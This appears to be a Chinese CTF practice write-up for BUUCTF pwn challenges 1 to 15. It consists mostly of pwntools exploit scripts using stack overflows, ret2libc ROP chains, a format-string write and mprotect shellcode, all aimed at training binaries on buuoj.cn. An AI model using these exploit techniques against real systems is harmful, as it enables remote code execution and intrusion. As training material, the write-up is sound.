BUUCTF PWN 刷题 1-15题

1 rip

经典栈溢出漏洞。

from pwn import *

p = remote('node4.buuoj.cn', 27181)

payload = b'a' * 23 + p64(0x40118A) 

p.sendline(payload)

p.interactive()
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2 warmup_csaw_2016

ret2system。

from pwn import *

p = remote('node4.buuoj.cn', 28045)

system_addr = 0x40060D
payload = b'a'*72 + p64(system_addr)

p.sendline(payload)
p.interactive()
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3 ciscn_2019_n_1


int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}
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通过栈溢出覆盖v2的地址，把v2的值编程11.28125.
点进去。
最后的exp为

from pwn import *

p=remote('node4.buuoj.cn',29429)

payload=b"A"*44+p64(0x41348000)
p.sendline(payload)

p.interactive()          
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4 jarvisoj_level0

返回到后门函数。

from pwn import *

day3 = remote('node4.buuoj.cn',29957)
# day3 = process('./level0')
system_addr = 0x00400596

payload = b"a" * 0x80 + b'a' * 0x8 + p64(system_addr)
day3.sendline(payload)

day3.interactive()
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5 [第五空间2019 决赛]PWN5

格式化字符串漏洞。

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}
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通过格式化字符串漏洞覆盖 dword_804C044 地址上的内容，然后再将已知的内容发送给程序。

from pwn import *

day3 = remote('node4.buuoj.cn',25786)
# day3 = process('./pwn')
bss = 0x0804C044

payload = b"AAAA%16$n%17$n%18$n%19$n" + p32(bss) \
	  + p32(bss+1) + p32(bss+2) + p32(bss+3)

day3.sendline(payload)

day3.sendline(str(0x04040404))

day3.interactive()
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6 ciscn_2019_c_1

ret2libc
寻找传参指令。

ROPgadget --binary ciscn_2019_c_1 |grep “pop rdi”

寻找ret，确保堆栈平衡。

ROPgadget --binary ciscn_2019_c_1 |grep ret

from pwn import *
from LibcSearcher import LibcSearcher

day3 = remote('node4.buuoj.cn',25593)
# day3 = process('./ciscn_2019_c_1')

elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400B28
pop_rdi_ret = 0x0000000000400c83
ret = 0x00000000004006b9
fakeebp = b'b' * 7

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']


# select 1
day3.sendlineafter('choice!\n','1')
# show puts got addr
payload = b'\0'+b'a'* 0x50 + fakeebp + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
day3.sendlineafter('encrypted\n',payload)
day3.recvline()# Ciphertext\n
day3.recvline()# \n
puts_addr=u64(day3.recvuntil('\n')[:-1].ljust(8,b'\0'))
print (hex(puts_addr))


libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')


day3.sendlineafter('choice!\n','1')

payload = b'\0' + b'a' * 0x50 + fakeebp + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)

day3.sendlineafter('encrypted\n',payload)


day3.interactive()
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7 ciscn_2019_n_8

只需要使得数组的第十四个数为17即可。

from pwn import *
context(log_level="debug",arch="i386")
day3 = remote('node4.buuoj.cn',26062)
# day3 = process('./ciscn_2019_n_8')
payload = flat(["aaaa"*13,0x11])
day3.sendline(payload)
day3.interactive()
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8 jarvisoj_level2

ret2text.

from pwn import*

day3 = remote('node4.buuoj.cn',25451)
bin_sh = 0x804a024
system_addr = 0x8048320
fakeword = 0x1
payload=flat(['a'*(0x88+4), system_addr, fakeword, bin_sh])

day3.sendline(payload)
day3.interactive()
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9 bjdctf_2020_babystack

from pwn import*

day3 = remote('node4.buuoj.cn',28428)
system_addr = 0x4006E6

day3.recvuntil('name:\n')
day3.sendline(b"-1")
day3.recvuntil('name?\n')
payload = b'a'*(0x10+8) + p64(system_addr)

day3.sendline(payload)
day3.interactive()

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10 [OGeek2019]babyrop

本题要点在于修改溢出值。
发送四次payload。

from pwn import *

#attack
r = remote("node4.buuoj.cn",29730)
# r = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")#题目下面那个链接里下载

#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825

#attack1
payload = b'\x00' + b'M'*6 + b'\xff'
r.sendline(payload)

#attack2
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))

#attack3
r.sendline(payload)

#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))

#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)

r.interactive()
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11 get_started_3dsctf_2016

第一种做法：栈溢出到get_flag函数，同时返回地址改为exit。

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

io = remote('node4.buuoj.cn',25848)
#io = process('./get_started_3dsctf_2016')
elf = ELF('./get_started_3dsctf_2016')

get_flag = 0x80489A0
main = 0x8048A20
exit = 0x0804E6A0

payload = b'A' * 56 + p32(get_flag) + p32(exit) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
print(io.recv())

io.interactive()
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第二种做法：修改内存可执行权限。

from pwn import *

context(os="linux", arch="i386", log_level="debug")
q = process("./get_started_3dsctf_2016")
elf = ELF("./get_started_3dsctf_2016")

mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
# 内存权限改变的起始地址，也是shellcode写入的起始地址
start_addr = 0x80ea000
# 执行三个弹栈操作的汇编代码起始位置
pop_3_ret = 0x0804f460

payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7)     # 0x7 == 可读可写可执行
payload += p32(read_addr)
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)
shellcode = asm(shellcraft.sh())

q.sendline(payload)
sleep(0.1)
q.sendline(shellcode)
q.interactive()
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12 jarvisoj_level2_x64

与level2的区别在于本题是通过寄存器传参。

from pwn import *

day3 = process('./level2_x64')
# day3 = remote('node4.buuoj.cn',26834)
system_addr = 0x4004c0
binsh_addr = 0x600A90
pop_rdi_ret = 0x4006b3
ret = 0x00000000004004a1
payload = b'a' * 0x88 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
day3.sendline(payload)
day3.interactive()

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13 [HarekazeCTF2019]baby_rop

from pwn import *

# day3 = process('./babyrop')
day3 = remote('node4.buuoj.cn',27768)
system_addr = 0x400490
binsh_addr = 0x601048
pop_rdi_ret = 0x400683
ret = 0x400479
payload = b'a' * 0x18 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
day3.sendline(payload)
day3.interactive()
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14 ciscn_2019_en_2

ret2libc.

from pwn import *
from LibcSearcher import *
# day3 = process('./ciscn_2019_en_2')
day3 = remote('node4.buuoj.cn', 27687)
elf = ELF('./ciscn_2019_en_2')

main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

day3.sendlineafter('Input your choice!\n','1')
payload = b'\0' + b'a' * 0x57 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

day3.sendlineafter('Input your Plaintext to be encrypted\n',payload)
day3.recvline() #将下面两个puts跳过
day3.recvline()

puts_addr=u64(day3.recvuntil('\n')[:-1].ljust(8,b'\0'))

libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts") #计算偏移
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
day3.sendlineafter('Input your choice!\n','1')
payload = b'\0' + b'a' * 0x57 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
day3.sendlineafter('Input your Plaintext to be encrypted\n',payload)
day3.interactive()
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15 not_the_same_3dsctf_2016

from pwn import *

day3 = remote("node4.buuoj.cn",26579)
# day3 = process("./not_the_same_3dsctf_2016")
elf = ELF("./not_the_same_3dsctf_2016")

flag_func_addr = 0x80489A0 #elf.symbols['get_secret']
flag_addr = 0x80ECA2D

payload = b'a' * 0x2D + p32(flag_func_addr) + p32(elf.sym['write']) + b'a' * 4 + p32(1) + p32(flag_addr) + p32(45)
day3.sendline(payload)

day3.interactive()
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